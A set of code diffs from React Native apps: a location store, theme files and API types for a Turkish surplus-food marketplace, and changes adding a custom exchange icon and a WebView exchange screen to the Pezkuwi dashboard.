|
import {create} from 'zustand';
|
||||||
|
import {Platform, PermissionsAndroid} from 'react-native';
|
||||||
|
import * as Location from 'expo-location';
|
||||||
|
// Compat shim for Geolocation API
|
||||||
|
const Geolocation = {
|
||||||
|
getCurrentPosition: (success: (pos: { coords: { latitude: number; longitude: number } }) => void, error: (err: { message: string }) => void, _options?: unknown) => {
|
||||||
|
Location.getCurrentPositionAsync({ accuracy: Location.Accuracy.Balanced })
|
||||||
|
.then(loc => success({ coords: { latitude: loc.coords.latitude, longitude: loc.coords.longitude } }))
|
||||||
|
.catch((e: Error) => error({ message: e.message }));
|
||||||
|
},
|
||||||
|
};
|
||||||
|
import {GOOGLE_MAPS_KEY} from '../config';
|
||||||
|
|
||||||
|
interface LocationState {
|
||||||
|
latitude: number | null;
|
||||||
|
longitude: number | null;
|
||||||
|
address: string | null;
|
||||||
|
permissionGranted: boolean;
|
||||||
|
isLoading: boolean;
|
||||||
|
error: string | null;
|
||||||
|
|
||||||
|
requestPermission: () => Promise<boolean>;
|
||||||
|
updateLocation: () => Promise<void>;
|
||||||
|
setLocation: (lat: number, lon: number) => void;
|
||||||
|
reverseGeocode: (lat: number, lon: number) => Promise<void>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const useLocationStore = create<LocationState>((set, get) => ({
|
||||||
|
latitude: null,
|
||||||
|
longitude: null,
|
||||||
|
address: null,
|
||||||
|
permissionGranted: false,
|
||||||
|
isLoading: false,
|
||||||
|
error: null,
|
||||||
|
|
||||||
|
requestPermission: async () => {
|
||||||
|
if (Platform.OS === 'android') {
|
||||||
|
try {
|
||||||
|
const already = await PermissionsAndroid.check(
|
||||||
|
PermissionsAndroid.PERMISSIONS.ACCESS_FINE_LOCATION,
|
||||||
|
);
|
||||||
|
if (already) {
|
||||||
|
set({permissionGranted: true});
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
const granted = await PermissionsAndroid.request(
|
||||||
|
PermissionsAndroid.PERMISSIONS.ACCESS_FINE_LOCATION,
|
||||||
|
{
|
||||||
|
title: 'Konum Izni',
|
||||||
|
message: 'Yakininizdaki paketleri gosterebilmemiz icin konum izni gerekli.',
|
||||||
|
buttonPositive: 'Izin Ver',
|
||||||
|
buttonNegative: 'Reddet',
|
||||||
|
},
|
||||||
|
);
|
||||||
|
const ok = granted === PermissionsAndroid.RESULTS.GRANTED;
|
||||||
|
set({permissionGranted: ok});
|
||||||
|
return ok;
|
||||||
|
} catch {
|
||||||
|
set({permissionGranted: false});
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
set({permissionGranted: true});
|
||||||
|
return true;
|
||||||
|
},
|
||||||
|
|
||||||
|
updateLocation: async () => {
|
||||||
|
set({isLoading: true, error: null});
|
||||||
|
|
||||||
|
let hasPermission = get().permissionGranted;
|
||||||
|
if (!hasPermission) {
|
||||||
|
hasPermission = await get().requestPermission();
|
||||||
|
}
|
||||||
|
if (!hasPermission) {
|
||||||
|
set({isLoading: false, error: 'Konum izni verilmedi'});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
await new Promise<void>((resolve) => {
|
||||||
|
Geolocation.getCurrentPosition(
|
||||||
|
(position) => {
|
||||||
|
const lat = position.coords.latitude;
|
||||||
|
const lon = position.coords.longitude;
|
||||||
|
set({latitude: lat, longitude: lon, isLoading: false, error: null});
|
||||||
|
get().reverseGeocode(lat, lon);
|
||||||
|
resolve();
|
||||||
|
},
|
||||||
|
(err) => {
|
||||||
|
set({isLoading: false, error: err.message});
|
||||||
|
resolve();
|
||||||
|
},
|
||||||
|
{enableHighAccuracy: false, timeout: 30000, maximumAge: 300000},
|
||||||
|
);
|
||||||
|
});
|
||||||
|
} catch {
|
||||||
|
set({isLoading: false});
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
reverseGeocode: async (lat, lon) => {
|
||||||
|
try {
|
||||||
|
const res = await fetch(
|
||||||
|
`https://maps.googleapis.com/maps/api/geocode/json?latlng=${lat},${lon}&key=${GOOGLE_MAPS_KEY}&language=tr`,
|
||||||
|
);
|
||||||
|
const data = await res.json();
|
||||||
|
if (data.status === 'OK' && data.results?.length > 0) {
|
||||||
|
const components = data.results[0].address_components;
|
||||||
|
const neighborhood = components?.find((c: any) =>
|
||||||
|
c.types.includes('neighborhood') || c.types.includes('sublocality'),
|
||||||
|
)?.long_name;
|
||||||
|
const route = components?.find((c: any) =>
|
||||||
|
c.types.includes('route'),
|
||||||
|
)?.long_name;
|
||||||
|
const district = components?.find((c: any) =>
|
||||||
|
c.types.includes('administrative_area_level_2') || c.types.includes('locality'),
|
||||||
|
)?.long_name;
|
||||||
|
const parts = [neighborhood || route, district].filter(Boolean);
|
||||||
|
const address = parts.length > 0 ? parts.join(', ') : data.results[0].formatted_address;
|
||||||
|
set({address});
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// Silent — coordinates shown as fallback
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
setLocation: (lat, lon) => {
|
||||||
|
set({latitude: lat, longitude: lon, address: null});
|
||||||
|
get().reverseGeocode(lat, lon);
|
||||||
|
},
|
||||||
|
}));
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
// Bereketli marka renkleri
|
||||||
|
export const colors = {
|
||||||
|
// Ana renkler
|
||||||
|
primary: '#2D6A4F', // Koyu yesil — ana marka rengi
|
||||||
|
primaryLight: '#40916C', // Acik yesil
|
||||||
|
primaryDark: '#1B4332', // Cok koyu yesil
|
||||||
|
|
||||||
|
// Ikincil
|
||||||
|
secondary: '#E8A838', // Amber/turuncu — sicaklik, bereket
|
||||||
|
secondaryLight: '#F0C05A',
|
||||||
|
secondaryDark: '#C68B1E',
|
||||||
|
|
||||||
|
// Arka plan
|
||||||
|
background: '#F5F0E8', // Krem/bej — mahalle sicakligi
|
||||||
|
backgroundWhite: '#FFFFFF',
|
||||||
|
backgroundCard: '#FFFFFF',
|
||||||
|
|
||||||
|
// Yazi
|
||||||
|
textPrimary: '#1A1A1A',
|
||||||
|
textSecondary: '#6B7280',
|
||||||
|
textLight: '#9CA3AF',
|
||||||
|
textWhite: '#FFFFFF',
|
||||||
|
textLink: '#2D6A4F',
|
||||||
|
|
||||||
|
// Durum
|
||||||
|
success: '#10B981',
|
||||||
|
warning: '#F59E0B',
|
||||||
|
error: '#EF4444',
|
||||||
|
info: '#3B82F6',
|
||||||
|
|
||||||
|
// Sinir
|
||||||
|
border: '#E5E7EB',
|
||||||
|
borderLight: '#F3F4F6',
|
||||||
|
divider: '#E5E7EB',
|
||||||
|
|
||||||
|
// Ozel
|
||||||
|
star: '#F59E0B', // Yildiz puanlama
|
||||||
|
heart: '#EF4444', // Favori
|
||||||
|
badge: '#2D6A4F', // Rozet arka plan
|
||||||
|
qrBackground: '#FFFFFF',
|
||||||
|
|
||||||
|
// Kategori renkleri
|
||||||
|
bakery: '#E8A838',
|
||||||
|
restaurant: '#EF4444',
|
||||||
|
pastry: '#EC4899',
|
||||||
|
market: '#10B981',
|
||||||
|
catering: '#8B5CF6',
|
||||||
|
|
||||||
|
// Overlay
|
||||||
|
overlay: 'rgba(0, 0, 0, 0.5)',
|
||||||
|
overlayLight: 'rgba(0, 0, 0, 0.3)',
|
||||||
|
};
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
export {colors} from './colors';
|
||||||
|
export {spacing, borderRadius} from './spacing';
|
||||||
|
export {typography} from './typography';
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
export const spacing = {
|
||||||
|
xs: 4,
|
||||||
|
sm: 8,
|
||||||
|
md: 12,
|
||||||
|
lg: 16,
|
||||||
|
xl: 24,
|
||||||
|
xxl: 32,
|
||||||
|
xxxl: 48,
|
||||||
|
};
|
||||||
|
|
||||||
|
export const borderRadius = {
|
||||||
|
sm: 6,
|
||||||
|
md: 10,
|
||||||
|
lg: 16,
|
||||||
|
xl: 24,
|
||||||
|
full: 9999,
|
||||||
|
};
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
import {Platform} from 'react-native';
|
||||||
|
|
||||||
|
const fontFamily = Platform.select({
|
||||||
|
ios: 'System',
|
||||||
|
android: 'Roboto',
|
||||||
|
default: 'System',
|
||||||
|
});
|
||||||
|
|
||||||
|
export const typography = {
|
||||||
|
h1: {fontSize: 28, fontWeight: '700' as const, fontFamily, lineHeight: 36},
|
||||||
|
h2: {fontSize: 22, fontWeight: '700' as const, fontFamily, lineHeight: 28},
|
||||||
|
h3: {fontSize: 18, fontWeight: '600' as const, fontFamily, lineHeight: 24},
|
||||||
|
body: {fontSize: 16, fontWeight: '400' as const, fontFamily, lineHeight: 22},
|
||||||
|
bodyBold: {fontSize: 16, fontWeight: '600' as const, fontFamily, lineHeight: 22},
|
||||||
|
caption: {fontSize: 14, fontWeight: '400' as const, fontFamily, lineHeight: 18},
|
||||||
|
captionBold: {fontSize: 14, fontWeight: '600' as const, fontFamily, lineHeight: 18},
|
||||||
|
small: {fontSize: 12, fontWeight: '400' as const, fontFamily, lineHeight: 16},
|
||||||
|
price: {fontSize: 20, fontWeight: '700' as const, fontFamily, lineHeight: 26},
|
||||||
|
priceOld: {fontSize: 14, fontWeight: '400' as const, fontFamily, lineHeight: 18, textDecorationLine: 'line-through' as const},
|
||||||
|
button: {fontSize: 16, fontWeight: '600' as const, fontFamily, lineHeight: 22},
|
||||||
|
};
|
||||||
@@ -0,0 +1,210 @@
|
|||||||
|
// API response tipleri — backend struct'lariyla birebir eslesir
|
||||||
|
|
||||||
|
export interface User {
|
||||||
|
id: string;
|
||||||
|
email: string;
|
||||||
|
phone: string | null;
|
||||||
|
name: string;
|
||||||
|
avatar_url: string | null;
|
||||||
|
role: 'customer' | 'store_owner' | 'cook' | 'merchant' | 'admin';
|
||||||
|
email_verified: boolean;
|
||||||
|
phone_verified: boolean;
|
||||||
|
created_at: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface AuthResponse {
|
||||||
|
access_token: string;
|
||||||
|
refresh_token: string;
|
||||||
|
user: User;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Store {
|
||||||
|
id: string;
|
||||||
|
owner_id: string;
|
||||||
|
name: string;
|
||||||
|
store_type: StoreType;
|
||||||
|
description: string | null;
|
||||||
|
address: string;
|
||||||
|
rating: number;
|
||||||
|
total_reviews: number;
|
||||||
|
photos: string[];
|
||||||
|
opening_hours: Record<string, string> | null;
|
||||||
|
phone: string | null;
|
||||||
|
delivers: boolean;
|
||||||
|
delivery_radius_m: number;
|
||||||
|
verified: boolean;
|
||||||
|
active: boolean;
|
||||||
|
created_at: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface StoreNearby extends Store {
|
||||||
|
lat: number;
|
||||||
|
lon: number;
|
||||||
|
distance_m: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Package {
|
||||||
|
id: string;
|
||||||
|
store_id: string;
|
||||||
|
title: string;
|
||||||
|
description: string | null;
|
||||||
|
price: number;
|
||||||
|
original_value: number;
|
||||||
|
category: StoreType;
|
||||||
|
pickup_start: string;
|
||||||
|
pickup_end: string;
|
||||||
|
total_quantity: number;
|
||||||
|
remaining: number;
|
||||||
|
status: 'active' | 'sold_out' | 'expired' | 'cancelled';
|
||||||
|
created_at: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface PackageNearby {
|
||||||
|
id: string;
|
||||||
|
store_id: string;
|
||||||
|
title: string;
|
||||||
|
description: string | null;
|
||||||
|
price: number;
|
||||||
|
original_value: number;
|
||||||
|
category: StoreType;
|
||||||
|
pickup_start: string;
|
||||||
|
pickup_end: string;
|
||||||
|
remaining: number;
|
||||||
|
status: string;
|
||||||
|
created_at: string;
|
||||||
|
store_name: string;
|
||||||
|
store_rating: number;
|
||||||
|
store_address: string;
|
||||||
|
store_photos: string[];
|
||||||
|
store_lat: number;
|
||||||
|
store_lon: number;
|
||||||
|
distance_m: number;
|
||||||
|
delivery_available: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Order {
|
||||||
|
id: string;
|
||||||
|
user_id: string;
|
||||||
|
package_id: string;
|
||||||
|
store_id: string;
|
||||||
|
quantity: number;
|
||||||
|
unit_price: number;
|
||||||
|
total_price: number;
|
||||||
|
status: 'pending' | 'paid' | 'picked_up' | 'cancelled' | 'refunded';
|
||||||
|
qr_code: string | null;
|
||||||
|
qr_token: string;
|
||||||
|
payment_id: string | null;
|
||||||
|
paid_at: string | null;
|
||||||
|
picked_up_at: string | null;
|
||||||
|
cancelled_at: string | null;
|
||||||
|
created_at: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface MealListing {
|
||||||
|
id: string;
|
||||||
|
cook_id: string;
|
||||||
|
title: string;
|
||||||
|
description: string | null;
|
||||||
|
photos: string[];
|
||||||
|
price_per_portion: number;
|
||||||
|
total_portions: number;
|
||||||
|
remaining_portions: number;
|
||||||
|
available_until: string;
|
||||||
|
pickup_or_delivery: 'pickup' | 'delivery' | 'both';
|
||||||
|
address: string;
|
||||||
|
status: 'active' | 'sold_out' | 'expired' | 'cancelled';
|
||||||
|
created_at: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface MealNearby extends MealListing {
|
||||||
|
cook_name: string;
|
||||||
|
lat: number;
|
||||||
|
lon: number;
|
||||||
|
distance_m: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface MealOrder {
|
||||||
|
id: string;
|
||||||
|
buyer_id: string;
|
||||||
|
listing_id: string;
|
||||||
|
cook_id: string;
|
||||||
|
portions: number;
|
||||||
|
total_price: number;
|
||||||
|
status: 'pending' | 'accepted' | 'rejected' | 'completed' | 'cancelled';
|
||||||
|
qr_code: string | null;
|
||||||
|
qr_token: string;
|
||||||
|
created_at: string;
|
||||||
|
accepted_at: string | null;
|
||||||
|
completed_at: string | null;
|
||||||
|
cancelled_at: string | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Merchant {
|
||||||
|
id: string;
|
||||||
|
owner_id: string;
|
||||||
|
name: string;
|
||||||
|
category: MerchantCategory;
|
||||||
|
description: string | null;
|
||||||
|
story: string | null;
|
||||||
|
address: string;
|
||||||
|
photos: string[];
|
||||||
|
opening_hours: Record<string, string> | null;
|
||||||
|
rating: number;
|
||||||
|
total_reviews: number;
|
||||||
|
phone: string | null;
|
||||||
|
plan: 'free' | 'pro' | 'business';
|
||||||
|
active: boolean;
|
||||||
|
created_at: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface MerchantNearby extends Merchant {
|
||||||
|
lat: number;
|
||||||
|
lon: number;
|
||||||
|
distance_m: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface LoyaltyProgram {
|
||||||
|
id: string;
|
||||||
|
merchant_id: string;
|
||||||
|
name: string;
|
||||||
|
program_type: 'stamp' | 'points' | 'frequency';
|
||||||
|
stamps_required: number | null;
|
||||||
|
points_required: number | null;
|
||||||
|
frequency_required: number | null;
|
||||||
|
reward_description: string;
|
||||||
|
reward_value: number | null;
|
||||||
|
active: boolean;
|
||||||
|
created_at: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface LoyaltyCard {
|
||||||
|
id: string;
|
||||||
|
program_id: string;
|
||||||
|
merchant_id: string;
|
||||||
|
merchant_name: string;
|
||||||
|
merchant_category: MerchantCategory;
|
||||||
|
program_name: string;
|
||||||
|
program_type: 'stamp' | 'points' | 'frequency';
|
||||||
|
current_stamps: number;
|
||||||
|
current_points: number;
|
||||||
|
visit_count: number;
|
||||||
|
stamps_required: number | null;
|
||||||
|
points_required: number | null;
|
||||||
|
frequency_required: number | null;
|
||||||
|
reward_description: string;
|
||||||
|
last_visit: string | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Review {
|
||||||
|
id: string;
|
||||||
|
user_id: string;
|
||||||
|
user_name: string;
|
||||||
|
user_avatar: string | null;
|
||||||
|
rating: number;
|
||||||
|
comment: string | null;
|
||||||
|
photos: string[];
|
||||||
|
created_at: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export type StoreType = 'bakery' | 'restaurant' | 'pastry' | 'market' | 'catering' | 'other';
|
||||||
|
export type MerchantCategory = 'barber' | 'cafe' | 'butcher' | 'greengrocer' | 'pharmacy' | 'tailor' | 'bakery' | 'other';
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
declare module 'react-native-vector-icons/MaterialCommunityIcons' {
|
||||||
|
import { Component } from 'react';
|
||||||
|
export default class Icon extends Component<{ name: string; size?: number; color?: string; style?: any }> {}
|
||||||
|
}
|
||||||
|
|
||||||
|
declare module 'react-native-image-picker' {
|
||||||
|
export interface ImagePickerResponse {
|
||||||
|
assets?: Array<{ uri?: string; fileName?: string; type?: string }>;
|
||||||
|
didCancel?: boolean;
|
||||||
|
errorCode?: string;
|
||||||
|
}
|
||||||
|
export function launchImageLibrary(options: any, callback?: (response: ImagePickerResponse) => void): Promise<ImagePickerResponse>;
|
||||||
|
}
|
||||||
@@ -44,6 +44,7 @@ import VPNScreen from '../screens/VPNScreen';
|
|||||||
import UniversityScreen from '../screens/UniversityScreen';
|
import UniversityScreen from '../screens/UniversityScreen';
|
||||||
import CertificatesScreen from '../screens/CertificatesScreen';
|
import CertificatesScreen from '../screens/CertificatesScreen';
|
||||||
import ResearchScreen from '../screens/ResearchScreen';
|
import ResearchScreen from '../screens/ResearchScreen';
|
||||||
|
import ExchangeScreen from '../screens/ExchangeScreen';
|
||||||
|
|
||||||
export type RootStackParamList = {
|
export type RootStackParamList = {
|
||||||
Welcome: undefined;
|
Welcome: undefined;
|
||||||
@@ -82,6 +83,7 @@ export type RootStackParamList = {
|
|||||||
University: undefined;
|
University: undefined;
|
||||||
Certificates: undefined;
|
Certificates: undefined;
|
||||||
Research: undefined;
|
Research: undefined;
|
||||||
|
Exchange: undefined;
|
||||||
};
|
};
|
||||||
|
|
||||||
const Stack = createStackNavigator<RootStackParamList>();
|
const Stack = createStackNavigator<RootStackParamList>();
|
||||||
@@ -432,6 +434,11 @@ const AppNavigator: React.FC = () => {
|
|||||||
header: (props) => <SimpleHeader {...props} />,
|
header: (props) => <SimpleHeader {...props} />,
|
||||||
}}
|
}}
|
||||||
/>
|
/>
|
||||||
|
<Stack.Screen
|
||||||
|
name="Exchange"
|
||||||
|
component={ExchangeScreen}
|
||||||
|
options={{ headerShown: false }}
|
||||||
|
/>
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
</Stack.Navigator>
|
</Stack.Navigator>
|
||||||
|
|||||||
@@ -31,7 +31,8 @@ import { getKycStatus } from '../../shared/lib/kyc';
|
|||||||
|
|
||||||
// Existing Quick Action Images (Reused)
|
// Existing Quick Action Images (Reused)
|
||||||
import qaEducation from '../../../shared/images/quick-actions/qa_education.png';
|
import qaEducation from '../../../shared/images/quick-actions/qa_education.png';
|
||||||
import qaExchange from '../../../shared/images/quick-actions/qa_exchange.png';
|
import qaExchange from '../../../shared/images/quick-actions/qa_exchange.png'; // pez-DEX (Swap) için kullanılmaya devam
|
||||||
|
import { LinearGradient as ExchangeGradient } from 'expo-linear-gradient';
|
||||||
import qaForum from '../../../shared/images/quick-actions/qa_forum.jpg';
|
import qaForum from '../../../shared/images/quick-actions/qa_forum.jpg';
|
||||||
import qaGovernance from '../../../shared/images/quick-actions/qa_governance.jpg';
|
import qaGovernance from '../../../shared/images/quick-actions/qa_governance.jpg';
|
||||||
import qaTrading from '../../../shared/images/quick-actions/qa_trading.jpg';
|
import qaTrading from '../../../shared/images/quick-actions/qa_trading.jpg';
|
||||||
@@ -245,6 +246,68 @@ const DashboardScreen: React.FC<DashboardScreenProps> = () => {
|
|||||||
}));
|
}));
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Pezkuwi Exchange (CEX) için özel ikon — tasarlanmış logo
|
||||||
|
* Lacivert zemin + altın kandlestick grafik + güneş aksi
|
||||||
|
*/
|
||||||
|
const renderExchangeIcon = () => (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.appIconContainer}
|
||||||
|
onPress={() => navigation.navigate('Exchange')}
|
||||||
|
activeOpacity={0.7}
|
||||||
|
>
|
||||||
|
<ExchangeGradient
|
||||||
|
colors={['#0B1120', '#111827']}
|
||||||
|
style={styles.exchangeIconBox}
|
||||||
|
>
|
||||||
|
{/* Güneş ışınları — ufak noktalar çember üzerinde */}
|
||||||
|
{[0, 45, 90, 135, 180, 225, 270, 315].map((deg) => {
|
||||||
|
const rad = (deg * Math.PI) / 180;
|
||||||
|
return (
|
||||||
|
<View
|
||||||
|
key={deg}
|
||||||
|
style={[
|
||||||
|
styles.sunRay,
|
||||||
|
{
|
||||||
|
transform: [
|
||||||
|
{ translateX: Math.cos(rad) * 19 },
|
||||||
|
{ translateY: Math.sin(rad) * 19 },
|
||||||
|
],
|
||||||
|
},
|
||||||
|
]}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
|
||||||
|
{/* Merkez güneş diski */}
|
||||||
|
<View style={styles.sunCore} />
|
||||||
|
|
||||||
|
{/* Kandlestick çubuklar — altın borsa grafiği */}
|
||||||
|
<View style={styles.candlesRow}>
|
||||||
|
{/* Çubuk 1 — düşen (kırmızı) */}
|
||||||
|
<View style={styles.candleWrap}>
|
||||||
|
<View style={[styles.candleWick, { backgroundColor: '#FF4D4F' }]} />
|
||||||
|
<View style={[styles.candleBody, { height: 10, backgroundColor: '#FF4D4F' }]} />
|
||||||
|
</View>
|
||||||
|
{/* Çubuk 2 — yükselen (yeşil) */}
|
||||||
|
<View style={styles.candleWrap}>
|
||||||
|
<View style={[styles.candleWick, { backgroundColor: '#52C41A' }]} />
|
||||||
|
<View style={[styles.candleBody, { height: 14, backgroundColor: '#52C41A' }]} />
|
||||||
|
</View>
|
||||||
|
{/* Çubuk 3 — yükselen büyük (altın) */}
|
||||||
|
<View style={styles.candleWrap}>
|
||||||
|
<View style={[styles.candleWick, { backgroundColor: '#F0A500' }]} />
|
||||||
|
<View style={[styles.candleBody, { height: 18, backgroundColor: '#F0A500' }]} />
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Altın çizgi kenarlık */}
|
||||||
|
<View style={styles.exchangeIconBorder} />
|
||||||
|
</ExchangeGradient>
|
||||||
|
<Text style={styles.appIconTitle} numberOfLines={1}>Borsa</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
);
|
||||||
|
|
||||||
const renderAppIcon = (title: string, icon: string | ImageSourcePropType, onPress: () => void, isEmoji = false, comingSoon = false) => (
|
const renderAppIcon = (title: string, icon: string | ImageSourcePropType, onPress: () => void, isEmoji = false, comingSoon = false) => (
|
||||||
<TouchableOpacity
|
<TouchableOpacity
|
||||||
style={styles.appIconContainer}
|
style={styles.appIconContainer}
|
||||||
@@ -503,7 +566,8 @@ const DashboardScreen: React.FC<DashboardScreenProps> = () => {
|
|||||||
{renderAppIcon('Wallet', '👛', () => navigation.navigate('Wallet'), true)}
|
{renderAppIcon('Wallet', '👛', () => navigation.navigate('Wallet'), true)}
|
||||||
|
|
||||||
{renderAppIcon('Bank', qaBank, () => navigation.navigate('Bank'), false, true)}
|
{renderAppIcon('Bank', qaBank, () => navigation.navigate('Bank'), false, true)}
|
||||||
{renderAppIcon('Exchange', qaExchange, () => navigation.navigate('Swap'), false)}
|
{renderExchangeIcon()}
|
||||||
|
{renderAppIcon('pez-DEX', qaExchange, () => navigation.navigate('Swap'), false)}
|
||||||
{renderAppIcon('P2P', qaTrading, () => navigation.navigate('P2P'), false)}
|
{renderAppIcon('P2P', qaTrading, () => navigation.navigate('P2P'), false)}
|
||||||
{renderAppIcon('B2B', qaB2B, () => navigation.navigate('B2B'), false, true)}
|
{renderAppIcon('B2B', qaB2B, () => navigation.navigate('B2B'), false, true)}
|
||||||
{renderAppIcon('Bac/Zekat', '📊', () => navigation.navigate('TaxZekat'), true)}
|
{renderAppIcon('Bac/Zekat', '📊', () => navigation.navigate('TaxZekat'), true)}
|
||||||
@@ -762,6 +826,64 @@ const styles = StyleSheet.create({
|
|||||||
opacity: 0.5,
|
opacity: 0.5,
|
||||||
backgroundColor: '#F0F0F0',
|
backgroundColor: '#F0F0F0',
|
||||||
},
|
},
|
||||||
|
// Pezkuwi Exchange (CEX) özel ikon stilleri
|
||||||
|
exchangeIconBox: {
|
||||||
|
width: 56,
|
||||||
|
height: 56,
|
||||||
|
borderRadius: 16,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 6,
|
||||||
|
overflow: 'hidden',
|
||||||
|
position: 'relative',
|
||||||
|
},
|
||||||
|
exchangeIconBorder: {
|
||||||
|
position: 'absolute',
|
||||||
|
top: 0, left: 0, right: 0, bottom: 0,
|
||||||
|
borderRadius: 16,
|
||||||
|
borderWidth: 1.5,
|
||||||
|
borderColor: '#F0A500',
|
||||||
|
opacity: 0.6,
|
||||||
|
},
|
||||||
|
sunRay: {
|
||||||
|
position: 'absolute',
|
||||||
|
width: 3,
|
||||||
|
height: 3,
|
||||||
|
borderRadius: 1.5,
|
||||||
|
backgroundColor: '#F0A500',
|
||||||
|
opacity: 0.35,
|
||||||
|
},
|
||||||
|
sunCore: {
|
||||||
|
position: 'absolute',
|
||||||
|
width: 10,
|
||||||
|
height: 10,
|
||||||
|
borderRadius: 5,
|
||||||
|
backgroundColor: '#F0A500',
|
||||||
|
opacity: 0.5,
|
||||||
|
top: 9,
|
||||||
|
left: 23,
|
||||||
|
},
|
||||||
|
candlesRow: {
|
||||||
|
position: 'absolute',
|
||||||
|
bottom: 7,
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'flex-end',
|
||||||
|
gap: 3,
|
||||||
|
left: 10,
|
||||||
|
},
|
||||||
|
candleWrap: {
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 1,
|
||||||
|
},
|
||||||
|
candleWick: {
|
||||||
|
width: 1,
|
||||||
|
height: 5,
|
||||||
|
borderRadius: 1,
|
||||||
|
},
|
||||||
|
candleBody: {
|
||||||
|
width: 7,
|
||||||
|
borderRadius: 2,
|
||||||
|
},
|
||||||
imageIcon: {
|
imageIcon: {
|
||||||
width: 32,
|
width: 32,
|
||||||
height: 32,
|
height: 32,
|
||||||
|
|||||||
@@ -0,0 +1,271 @@
|
|||||||
|
import React, { useRef, useState, useCallback } from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
ActivityIndicator,
|
||||||
|
BackHandler,
|
||||||
|
Platform,
|
||||||
|
} from 'react-native';
|
||||||
|
import { SafeAreaView } from 'react-native-safe-area-context';
|
||||||
|
import { WebView } from 'react-native-webview';
|
||||||
|
import { useFocusEffect } from '@react-navigation/native';
|
||||||
|
import { useAuth } from '../contexts/AuthContext';
|
||||||
|
|
||||||
|
const EXCHANGE_URL = 'https://exchange.pezkuwichain.io';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Pezkuwi Exchange (Borsa) — gerçek dünya CEX
|
||||||
|
* OKX kalitesinde spot trading, USDT/BTC/ETH/SOL/DOT/HEZ/PEZ
|
||||||
|
*
|
||||||
|
* Kendi JWT auth sistemine sahip; Supabase SSO enjeksiyonu gerekmez.
|
||||||
|
* Borsanın kendi login sayfasına yönlendirir.
|
||||||
|
*/
|
||||||
|
const ExchangeScreen: React.FC = () => {
|
||||||
|
const webViewRef = useRef<WebView>(null);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const [canGoBack, setCanGoBack] = useState(false);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
const { user } = useAuth();
|
||||||
|
|
||||||
|
// Android geri tuşu — WebView geçmişinde geri git
|
||||||
|
useFocusEffect(
|
||||||
|
useCallback(() => {
|
||||||
|
const onBack = () => {
|
||||||
|
if (canGoBack && webViewRef.current) {
|
||||||
|
webViewRef.current.goBack();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
const sub = BackHandler.addEventListener('hardwareBackPress', onBack);
|
||||||
|
return () => sub.remove();
|
||||||
|
}, [canGoBack])
|
||||||
|
);
|
||||||
|
|
||||||
|
// Mobil cihaz ve opsiyonel kullanıcı bilgisi enjekte et
|
||||||
|
const injectedJS = `
|
||||||
|
(function() {
|
||||||
|
window.PEZKUWI_MOBILE = true;
|
||||||
|
window.PEZKUWI_PLATFORM = '${Platform.OS}';
|
||||||
|
${user?.id ? `window.PEZKUWI_USER_ID = '${user.id}';` : ''}
|
||||||
|
${user?.email ? `window.PEZKUWI_USER_EMAIL = '${user.email}';` : ''}
|
||||||
|
true;
|
||||||
|
})();
|
||||||
|
`;
|
||||||
|
|
||||||
|
const handleReload = () => {
|
||||||
|
setError(null);
|
||||||
|
setLoading(true);
|
||||||
|
webViewRef.current?.reload();
|
||||||
|
};
|
||||||
|
|
||||||
|
if (error) {
|
||||||
|
return (
|
||||||
|
<SafeAreaView style={styles.container}>
|
||||||
|
<Header canGoBack={false} onGoBack={() => {}} onReload={handleReload} />
|
||||||
|
<View style={styles.errorBox}>
|
||||||
|
<Text style={styles.errorIcon}>⚡</Text>
|
||||||
|
<Text style={styles.errorTitle}>Bağlantı kurulamadı</Text>
|
||||||
|
<Text style={styles.errorMsg}>{error}</Text>
|
||||||
|
<TouchableOpacity style={styles.retryBtn} onPress={handleReload}>
|
||||||
|
<Text style={styles.retryText}>Yeniden Dene</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</SafeAreaView>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
